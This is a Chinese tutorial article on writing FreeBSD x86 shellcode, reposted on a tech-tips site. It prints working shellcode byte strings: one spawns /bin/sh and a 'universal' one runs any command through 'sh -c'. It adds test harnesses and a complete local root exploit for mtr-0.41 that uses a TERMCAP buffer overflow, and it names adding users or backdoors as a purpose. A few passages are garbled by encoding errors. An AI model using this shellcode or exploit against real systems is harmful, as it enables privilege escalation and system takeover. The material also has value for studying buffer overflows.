您现在的位置: 电脑常识文选 - 操作系统 - FreeBSD shellcode编写攻略
操作系统

FreeBSD shellcode编写攻略

<!--StartFragment-->---[[ 前言

  我第一次编写缓冲区溢出程序时,操作系统平台是Red Hat Linux,使用的shellcode是
从互联网上“成吨”的Linux shellcode中随便挑选的,就是Aleph1前辈公布的
“标准shellcode”。:)后来便开始自己写shellcode,但主要都是for
Linux的。最近在研究FreeBSD系统下的缓冲区溢出时,发现那些攻击程序所提供的
shellcode似乎与Linux下的有所不同。(具体哪里不同,下面会讲到的。)好奇之余,
便萌发了独立编写FreeBSD系统下shellcode的念头。同时也想对标准shellcode做一
些改进,算是对自己的一点点挑战吧?#海?
  在编写FreeBSD shellcode的一天半里,无意中发现SCO Unix系统在汇编级的处理
与FreeBSD有很多类似之处。耐不住手痒,花了不到两个小时把shellcode for SCO也完
成了。:)由于编写过程大同小异,关于如何在SCO
Unix下编写shellcode,我便不再另外写文章了。(我很会偷懒?也许吧。;))另外,
文中还介绍到了一些技巧,希望能对大家学习计算机安全技术有所裨益。

    我想以后我大概是不会再写诸如”如何编写xxx系统下的shellcode“之类的文章了。
;)因为只要明白了整个编写过程的原理和步骤,已经没什么很新鲜的了。


---[[ 准备工作

  1、FreeBSD操作系统知识

  2、熟悉C编程语言、汇编语言、gdb调试器(这个是hacker的最低标准!)

  3、有Linux等系统平台下shellcode的经验

  4、较强的分析能力和想像力

  5、牛奶、面包、饼干和音乐(呵呵,这是我的“工作套餐”。;))

  (注:我的工作环境--

     FreeBSD 4.0 (recompiled kernel)
     gcc version 2.95.2 19991024 (release)
     GNU gdb 4.18


---[[ 开始


  首先,当然是了解并掌握FreeBSD是如何运行shell程序(如/bin/sh)的。

    和编写Linux系统下的shellcode一样,创建以下程序:

/* execve.c */
#include
int main()
{
        char *name[2];

        name[0]="/bin/sh";
        name[1]=NULL;
        execve(name[0],name,NULL);
        return 0;
}

编译,试运行:

bash-2.03$ gcc -ggdb -static -o execv execve.c
bash-2.03$ ./execv
$ exit
bash-2.03$

现在用gdb调试器跟踪程序的执行代码:

bash-2.03$ gdb execv
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...
(gdb) disass main
Dump of assembler code for function main:
0x8048160 :       pushl  %ebp
0x8048161 :     movl   %esp,%ebp
0x8048163 :     subl   $0x18,%esp
                                // 以上是函数调用时的堆栈操作
                               
0x8048166 :     movl   $0x8048361,0xfffffff8(%ebp)
                                // 保存name字符串数组的地址
                               
0x804816d :    movl   $0x0,0xfffffffc(%ebp)
                                // 保存NULL空字符串
                               
0x8048174 :    addl   $0xfffffffc,%esp
                               
0x8048177 :    pushl  $0x0
                                // 将0x0压栈
                               
0x8048179 :    leal   0xfffffff8(%ebp),%eax
0x804817c :    pushl  %eax
                                // 将name字符串数组地址的地址压栈
                               
0x804817d :    movl   0xfffffff8(%ebp),%eax
0x8048180 :    pushl  %eax
                                // 将name[0]字符串地址压栈
                               
0x8048181 :    call   0x80481f8
                                // 调用execve函数
                               
0x8048186 :    addl   $0x10,%esp
0x8048189 :    xorl   %eax,%eax
0x804818b :    jmp    0x8048190
0x804818d :    leal   0x0(%esi),%esi
0x8048190 :    leave 
0x8048191 :    ret   
End of assembler dump.
(gdb) disass execve
Dump of assembler code for function execve:
0x80481f8 :     leal   0x3b,%eax
                                // 系统中断调用子功能号0x3b(execve)
                               
0x80481fe :   int    $0x80
                                // FreeBSD系统中断调用

0x8048200 :   jb     0x80481f0
0x8048202 :  ret   
0x8048203 :  nop   
End of assembler dump.
(gdb)

  如果你有Linux系统下shellcode的编写经验,看这段汇编代码就不会觉得有什
么困难,所以不再对每条汇编指令进行说明。;)(又偷懒了,xixi)

    将以上汇编指令最主要的部份用简单的描述性汇编语言表示就是:
   
main:
    push 0x0
    push address_of_address_of_/bin/sh
    push address_of_/bin/sh
    call execve
   
execve:
    leal 0x3b, %eax
    int  $0x80

似乎和Linux差不多?当然,一些调整还是必不可少的:

(1)将"/bin/sh"字符串放到内存中;

(2)获取"/bin/sh"在内存中的绝对地址;

(3)去掉汇编语言中的"0x00"字符。

还是和Linux下的编写过程一样,经以上调整后得到的汇编代码,并将其嵌入C语言程序中:

bash-2.03$ cat execasm.c
int main()
{
__asm__
("
        jmp     callback
encode:
        popl    %esi
        movl    %esi,0x08(%esi)
        xorl    %eax,%eax
        movb    %al,0x07(%esi)
        movl    %eax,0x0c(%esi)
        pushl   %eax
        leal    0x08(%esi),%edx
        pushl   %edx
        pushl   %esi
        pushl   %esi            // <--为什么???(1)
        movb    0x3b,%al
        int     $0x80
callback:
        call    encode
        .string \"/bin/sh\"
");
}

bash-2.03$ gcc -o execasm execasm.c
bash-2.03$

    在继续下一步前,请大家回答两个问题:

    (1)在汇编代码段中为什么会有两个"pushl %esi"(绝对不是笔误)?

    (2)这个程序能否成功运行?(提示:逻辑和语法都没有任何错误,编译也顺利通过了。)
   
   
对于第一个问题,只要对汇编语言和函数调用有一定了解,同时再加上一点点的细心,
就会知道答案了。正常情况下,当执行call进行函数调用时,系统会自动将返回地址
压入堆栈中。由于在我们的程序中并未执行call指令(当然加上也可以),所以必须
再向堆栈中压入4个字节的数据,?庋拍苁苟颜恢刚胛恢谜贰#唬┲劣谘谷胧裁词
荩涫刀晕颐抢此得挥刑笠庖澹蛭飧龅饔貌换嵩俜祷亓恕#唬?

对于第二个问题,先让我们来试一下,看能否运行成功:
   
bash-2.03$ ./execasm
Bus error (core dumped)
bash-2.03$

为什么呢?如果使用gdb调试器调试因core dump而产生的execasm.core文件,就会发现
错误出现在指令"movl %esi,0x08(%esi)"处。原来esi寄存器指向的地址在代码段,而代
码段的内容是不允许这样修改的!既然如此,我们把这段代码换个位置,如何?:)

    先要得到这段代码的机器码,方法可以用gdb或objdump,略加调整(这个交给你们自
己了;)),最终得到第一个shellcode的字符串为:
   
    "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
    "\x50\x8d\x56\x08\x52\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff"
    "\xff\xff/bin/sh"
   
    下面来验证一下这段shellcode。编写以下程序:
   
bash-2.03$ cat shellcode1.c
char shellcode[]=
        "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
        "\x50\x8d\x56\x08\x52\x56\x56\xb0\x3b\xcd\x80\xe8\xe4\xff"
        "\xff\xff/bin/sh";

int main()
{
        int *ret;

        printf("Shellcode length: %i\n", strlen(shellcode));
        ret=(int *)&ret+2;
        (* ret)=(int)shellcode;
}

bash-2.03$

    编译,运行:=版权所有  软件 下载  学院  版权所有=
   
bash-2.03$ gcc -o shell1 shellcode1.c
bash-2.03$ ./shell1
Shellcode length: 37
$

    Bingo!搞定!:)是不是很简单?本来就很简单。

    在进入下一项内容前,给大家出几道练习题。(如果真的想掌握这项技术的话,请完成它们。)
   
    (1)将execasm.c中汇编程序段的机器码找出来,并做调整(因为其中仍含有'0x00'字符)。

    (2)对这段shellcode进行优化,看能不能使其更短?(如果可以的话,请贴到绿色
兵团网站之“Unix系统安全”论坛。)

    (3)FreeBSD的系统调用方式有两种,试着找出另一种方法。编写出相应的shellcode,
并和本文的shellcode作比较。

    (4)参考绿盟网络安全技术月刊第四期《高级缓冲溢出的使用》一文,将其中的shellcode
技巧移植到FreeBSD平台下。(请抄送一份给我。:))


---[[ 进阶

  有shellcode编写基础和经验的人,应该觉得上面这段内容是属于“绝对的入门级”。如果
仅仅写出这种东西,看来我以后也不要再研究计算机网络安全技术了!现在让我们来探讨一下
如何加强shellcode的功能。

(注:本节内容虽然以FreeBSD为研究平台,但同样适合其它系统平台。)

  本来计划在这节讲一下如何将《高级缓冲溢出的使用》中的shellcode移植到FreeBSD平台
下,但考虑到技术原理和资料都大同小异,难度不大。恐有灌水之嫌,最后决定把这个作为练
习题了。;)
  
  在标准的shellcode中,我们执行的命令是"/bin/sh",也就是希望得到一个shell环境。
在某些情况下,如无法得到shell环境(无法将输入/输出重定向,缺少环境变量等),或仅需
要执行一两个命令(添加用户或后门等),这个标准shellcode就无法满足我们的要求了。

  也许有人会说,那可以直接修改shellcode嘛。直接修改确实是一个解决方法,但每次修
改都要修改和调试其中的偏移量,比较麻烦,为什么不能让我们的shellcode自己完成这项任
务呢?这样的话,我们就相当于拥有一个“通用的”shellcode了!;)

  基本的技术原理是将需要运行的命令附加到shellcode后,由shellcode自已将这个命令传
递给系统运行。(听起来好象也不太难。;))从C语言编程的角度来思考,就是利用
execve()函数调用。

  首先,我们应该知道系统调用函数execve()的语法格式为:

int execve(const char *path, char *const argv[], char *const envp[])

即:

execve(address_of_the_command,array_of_parameters,array_of_environment_variables)

  当执行这个函数时,对参数进行的堆栈和调用操作为:

push array_of_environment_variables

push array_of_parameters

push address_of_the_command

call execve

这个堆栈操作比上一节复杂不少。那么应该传递什么参数呢?我们都知道,要向sh传递命令时
可以使用"-c"参数。这们要利用的就是这一点。即构造下面这条命令:

  /bin/sh    -c     "command"
    +--+--+    ++      +--+--+
       |        |         |
       +        +         +
    argv[0]   argv[1]   argv[2]
   
    此时,字符串数组为:
   
    argv[0] --> "/bin/sh"字符串的地址
    argv[1] --> "-c"字符串的地址
    argv[2] --> "command"字符串的地址
    0       --> NULL字符串地址
   
    每个地址占用4字节,一共占用16个字节。对应的堆栈和调用操作为:
   
    push 0x0
    push address_of_argv[]
    push address_of_argv[0]("/bin/sh")
    call execve
   
    现在的编程思路已经非常清晰了。按照上一节的调试步骤,我们很快就能够得到以下“通用”shellcode:
   
        "\xeb\x36"                      //      jmp                   (a)
// :                                                                    (b)
        "\x5e"                          //      popl   %esi                     (c)
        "\x8d\x0e"                      //      leal   (%esi), %ecx             (d)
        "\x31\xd2"                      //      xorl   %edx, %edx               (e)
        "\x88\x56\x17"                  //      movb   %dl,  0x17(%esi)         (f)
        "\x88\x56\x1a"                  //      movb   %dl,  0x1a(%esi)         (g)
        "\x89\x56\x0c"                  //      movl   %edx, 0x0c(%esi)         (h)
        "\x89\x56\xf5"                  //      movl   %edx, -0x0b(%esi)        (i)
        "\x88\x56\xfa"                  //      movb   %dl,  -0x06(%esi)        (j)
        "\x8d\x56\x1b"                  //      leal   0x1b(%esi), %edx         (k)
        "\x89\x56\x08"                  //      movl   %edx, 0x08(%esi)         (l)
        "\x8d\x56\x18"                  //      leal   0x18(%esi), %edx         (m)
        "\x89\x56\x04"                  //      movl   %edx, 0x04(%esi)         (n)
        "\x8d\x5e\x10"                  //      leal   0x10(%esi), %ebx         (o)
        "\x89\x1e"                      //      movl   %ebx, (%esi)             (p)
        "\x89\xca"                      //      movl   %ecx, %edx               (q)
        "\x31\xc0"                      //      xorl   %eax, %eax               (r)
        "\xb0\x3b"                      //      movb   0x3b, %al                (s)
        "\x52"                          //      pushl  %edx                     (t)
        "\x51"                          //      pushl  %ecx                     (u)
        "\x53"                          //      pushl  %ebx                     (v)
        "\x50"                          //      pushl  %eax                     (w)
        "\x9a\x01\x01\x01\x01\x07\x01"  //      lcall  0x07, 0x0                (x)
// :                                                                  (y)
        "\xe8\xc5\xff\xff\xff"          //      call                    (z)
        "aaaa"                          //      argv[0] (address of "/bin/sh")  (1)
        "bbbb"                          //      argv[1] (address of "-c")       (2)
        "cccc"                          //      argv[2] (address of "command")  (3)
        "dddd"                          //      argv[3] (NULL)                  (4)
        "/bin/sh0"                                                              (5)
        "-c0"                                                                   (6)
        "";                                                                     (7)
       
  在继续往下看之前,希望大家能仔细阅读以上代码段,尽量读懂它。

  下面是一些简要说明:

(1)--(4):用于存放各字符串的地址指针。

(5):    存放"/bin/sh"字符串。'0'是临时编码,将会在运行时被替换为"0x0"字符。

(6):    "-c"参数字符串。'0'的意义同上。

(7):    将会被用于存放"command"命令字符串。

(a)(y)(z)(b)(c):       获取”数据段“起始地址。

(d):                   argv[]字符串数组地址-->ecx寄存器。

(e)--(j):              解码"0x00"。

(k)(l):                获得并存放"command"的地址-->"cccc"。

(m)(n):                获得并存放"-c"的地址-->"bbbb"。

(o)(p):                获得并存放"/bin/sh"的地址-->"aaaa"和ebx寄存器。

(q):                   构造正确的edx寄存器内容。

(r)(s):                构造正确的eax寄存器内容。

(t)-(w):               系统调用参数压栈。

(x):                   远程调用lcall()。(*)

  (*)--这个过程调用是我从别人的shellcode中发现的。在SCO Unix系统中也有这个过程。
它是进行系统调用的另一种方法。这会使shellcode稍微长了点,但似乎在跨平台移植上简单
了许多。本来我计划用int 0x80系统中断来重写这段shellcode,但还不如让大家自己动手重写,
这样会得到更多满足感的。;)

  下面测试一下这段shellcode:

bash-2.03$ cat shellcode_fbsd.c
char execshell[]=
        "\xeb\x36"                      //      jmp   
// encode:
        "\x5e"                          //      popl   %esi
        "\x8d\x0e"                      //      leal   (%esi), %ecx
        "\x31\xd2"                      //      xorl   %edx, %edx
        "\x88\x56\x17"                  //      movb   %dl,  0x17(%esi)
        "\x88\x56\x1a"                  //      movb   %dl,  0x1a(%esi)
        "\x89\x56\x0c"                  //      movl   %edx, 0x0c(%esi)
        "\x89\x56\xf5"                  //      movl   %edx, -0x0b(%esi)
        "\x88\x56\xfa"                  //      movb   %dl,  -0x06(%esi)
        "\x8d\x56\x1b"                  //      leal   0x1b(%esi), %edx
        "\x89\x56\x08"                  //      movl   %edx, 0x08(%esi)
        "\x8d\x56\x18"                  //      leal   0x18(%esi), %edx
        "\x89\x56\x04"                  //      movl   %edx, 0x04(%esi)
        "\x8d\x5e\x10"                  //      leal   0x10(%esi), %ebx
        "\x89\x1e"                      //      movl   %ebx, (%esi)
        "\x89\xca"                      //      movl   %ecx, %edx
        "\x31\xc0"                      //      xorl   %eax, %eax
        "\xb0\x3b"                      //      movb   0x3b, %al
        "\x52"                          //      pushl  %edx
        "\x51"                          //      pushl  %ecx
        "\x53"                          //      pushl  %ebx
        "\x50"                          //      pushl  %eax
        "\x9a\x01\x01\x01\x01\x07\x01"  //      lcall  0x07, 0x0
// callback:
        "\xe8\xc5\xff\xff\xff"          //      call  
        "aaaa"                          //      argv[0] (address of "/bin/sh")
        "bbbb"                          //      argv[1] (address of "-c")
        "cccc"                          //      argv[2] (address of "command")
        "dddd"                          //      argv[3] (NULL)
        "/bin/sh0"
        "-c0"
        "";

char buf[300];

int main(int argc, char **argv)
{
        int *ret;
        char cmd[200];
        char test[]="/usr/bin/id";
        char end[]=";\x00";

        printf("\nShellcode length: %i\n",strlen(execshell));

        if(argc < 2)
        {
                memcpy(cmd,test,strlen(test));
                memcpy(buf,execshell,strlen(execshell));
                memcpy(buf+strlen(execshell),cmd,strlen(cmd));
                memcpy(buf+strlen(execshell)+strlen(cmd),end,strlen(end));
        }
        else
        {
                if(argc == 2)
                {
                        strncpy(cmd,argv[1],strlen(argv[1]));
                        memcpy(buf,execshell,strlen(execshell));
                        memcpy(buf+strlen(execshell),cmd,strlen(argv[1]));
                        memcpy(buf+strlen(execshell)+strlen(argv[1]),end,strlen(end));
                }
                else
                {
                        printf("Usage: %s \"command\"\n", argv[0]);
                        exit(0);
                }
        }

        printf("Total length: %i\n\n",strlen(buf));
        ret = (int *)&ret + 2;
        (*ret) = (int)buf;
}

编译:

bash-2.03$ gcc -o shellcode_fbsd shellcode_fbsd.c

运行验证:

bash-2.03$ ./shellcode_fbsd

Shellcode length: 88
Command length: 11
Total (shellcode+cmd+end) length: 100

uid=1001(backend) gid=1001(isbase) groups=1001(isbase), 0(wheel)
bash-2.03$ ./shellcode_fbsd "uname -a"

Shellcode length: 88
Command length: 8
Total (shellcode+cmd+end) length: 97

FreeBSD freebsd.isbase.com 4.0-RELEASE FreeBSD 4.0-RELEASE #0: Mon Mar 20 22:50:22 GMT 2000     root@monster.cdrom.com:/usr/src/sys/compile/GENERIC  i386
bash-2.03$ ./shellcode_fbsd "sh"     

Shellcode length: 88
Command length: 2
Total (shellcode+cmd+end) length: 91

$ whoami
backend
$ exit
bash-2.03$

  OK,现在可以说基本上是大功告成了。

  我将这两段shellcode代码在FreeBSD 3.3(stable version)下对mtr-0.41进行缓冲区溢
出程序攻击测试,都成功通过。以下是使用了更短长度shellcode的攻击程序代码:

/* (c) 2000 babcia padlina / buffer0verfl0w security */
/* freebsd mtr-0.41 local root exploit */

/* Modified with shorter shellcode by backend  */
/* Note: offset=8000 on FreeBSD 3.3 (stable version) */
/* Date: 2000/05/08 */

#include
#include
#include
#include

#define NOP 0x90
#define BUFSIZE 10000
#define ADDRS 1200

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
char *execshell=
// shellcode by backend
"\x31\xdb\xb8\xb7\xaa\xaa\xaa\x25\xb7\x55\x55\x55\x53\x53\xcd\x80"
"\x31\xdb\xb8\x17\xaa\xaa\xaa\x25\x17\x55\x55\x55\x53\x53\xcd\x80"
"\xeb\x1c\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08"
"\x89\x46\x0c\x8d\x4e\x08\x8d\x56\x0c\x50\x51\x53\x53"
"\xb0\x3b\xcd\x80\xe8\xdf\xff\xff\xff/bin/sh";

/* old shellcode
"\x31\xdb\xb8\xb7\xaa\xaa\xaa\x25\xb7\x55\x55\x55\x53\x53\xcd\x80"
"\x31\xdb\xb8\x17\xaa\xaa\xaa\x25\x17\x55\x55\x55\x53\x53\xcd\x80"
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
*/

char buf[BUFSIZE+ADDRS+1], *p;
int noplen, i, ofs;
long ret, *ap;

if (argc < 2) { fprintf(stderr, "usage: %s ofs\n", argv[0]); exit(0); }

ofs = atoi(argv[1]);

noplen = BUFSIZE - strlen(execshell);
ret = getesp() + ofs;

memset(buf, NOP, noplen);
buf[noplen] = '\0';
strcat(buf, execshell);

setenv("EGG", buf, 1);

p = buf;
        ap = (unsigned long *)p;

        for(i = 0; i < ADDRS / 4; i++)
                *ap++ = ret;

        p = (char *)ap;
        *p = '\0';

fprintf(stderr, "ret: 0x%x\n", ret);

setenv("TERMCAP", buf, 1);
execl("/usr/local/sbin/mtr", "mtr", 0);

return 0;
}

(题外话:我还使用shellcode环境变量的方法完全重写了对mtr-0.41的缓冲区
溢出攻击程序。有兴趣的朋友请自己研究。)

  要获得关于mtr-0.41程序缓冲区溢出漏洞的技术资料,可到绿色兵团网站
(http://www.isbase.com/)或packetstorm网站查找。


---[[ 思考

  在我们以前的技术文章中提到的缓冲区溢出高级技巧(Linux系统平台),
都可以很轻易地移植到FreeBSD、SCO Unix等基于Intel
x86硬件平台的Unix操作系统中。如果真的希望能充分掌握shellcode编写技术,
请自行将绿盟网络安全技术月刊第四期《高级缓冲溢出的使用》中所涉及到的高
级shellcode移植到FreeBSD或SCO Unix平台下。

  如果非常熟悉汇编语言编程和调试工具,写出更复杂的shellcode(例如
shellcode编码和解码(加密和解密),装载可利用的动态链接库,设置相关
环境变量,等等),是一件富有挑战性的工作。再配合更复杂的缓冲区溢出技
术,就能够写出非常精妙的攻击程序。

  在了解和掌握缓冲区溢出和shellcode编写的技术后,应该阅读和研究关
于如何防止缓冲区溢出及其攻击的技术文献,然后再阅读和研究关于如何突破
这些安全机制的文章。

  还有很多、很多、……,引用这句话吧:Open your mind。:)


---[[ 总结

  其实也没什么好总结的了。关于shellcode和缓冲区溢出的文章已经非常
多了,只要专心学习,仔细研究,善于总结,也许你们会比我更有心得可写。
  现在大家应该总结出编写shellcode的基本步骤了,就是:编写系统调用
C程序 --> 了解系统调用的汇编指令(系统处理过程) --> 编写最简单的
shellcode(调整绝对跳转地址) --> 测试 --> 第二次调整(去掉0x00字符)
--> 测试 --> 第一次改进 --> 测试 --> 第二次改进
--> 测试 --> ……第n次改进 --> 第n次测试……(想什么时候停止,就由你自
己决定吧;))
  如果大家对shellcode或缓冲区溢出程序的编写有什么心得,可以来信交流,
或请copy一份给我。=版权所有  软件 下载  学院  版权所有=


(注:原本打算附上我将以上shellcode移植到SCO Unix系统平台后的结果,
但后来担心这样的话有些人可能便不去研究,而只会使用,成了"Script Kidde",
最后还是决定不写入本文中。如果你在研究SCO Unix系统平台下的shellcode时有
什么问题,可来信与我们一起交流,我会很乐意提供SCO Unix系统平台下的“标准”
(出处:http://www.13pc.com)


电脑常识文选·操作系统 © 2006 - 2011 版权所有